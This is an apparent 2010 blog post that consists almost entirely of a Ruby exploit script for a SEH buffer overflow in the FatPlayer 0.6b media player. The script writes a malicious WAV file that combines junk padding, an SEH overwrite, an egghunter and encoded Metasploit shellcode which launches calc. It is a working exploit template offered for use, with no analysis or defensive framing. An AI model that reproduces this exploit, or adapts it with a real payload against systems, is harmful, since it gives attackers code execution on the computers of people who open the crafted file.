Friday, October 22, 2010

FatPlayer 0.6b Malicious WAV Buffer Overflow Vulnerability (SEH - EGGHUNTER)

# Exploit Title: FatPlayer 0.6b Malicious WAV Buffer Overflow Vulnerability (SEH)
# Date: 10/18/10
# Credit/Bug found by: james [AT] learnsecurityonline [DOT] com
# Author : Muhamad Fadzil Ramli - mind1355[at]gmail[dot]com
# Software Link: http://sourceforge.net/projects/fatplayer/files/
# Version: 0.6 Beta
# Tested on: Windows XP SP3 EN
# CVE: N/A

#! /usr/bin/env ruby
filename = 'crash.wav'

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
payload = ''
payload <<  "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc"
payload << "\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
payload << "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85"
payload << "\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5"
payload << "\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c"
payload << "\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21"
payload << "\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5"
payload << "\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27"
payload << "\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3"
payload << "\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53"
payload << "\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f"
payload << "\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6"
payload << "\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8"
payload << "\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
payload << "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f"
payload << "\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca"

egghunter = ''
egghunter << "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
egghunter << "\x77\x30\x30\x74"
egghunter << "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

junk1    = 'A' * 4132
nseh    = [0x06eb9090].pack('V')
seh        = [0x00409C10].pack('V') # fatplayer.exe
nops    = "\x90" * 50
junk2    = 'B' * (10000 - (junk1 + nseh + seh + nops + egghunter + nops + "w00tw00t" + payload).length)

xploit    = junk1 + nseh + seh + nops + egghunter + nops + "w00tw00t" + payload + junk2

File.open(filename,'w') do |fd|
    fd.write xploit
    puts "xploit file size : #{xploit.length.to_s}"
end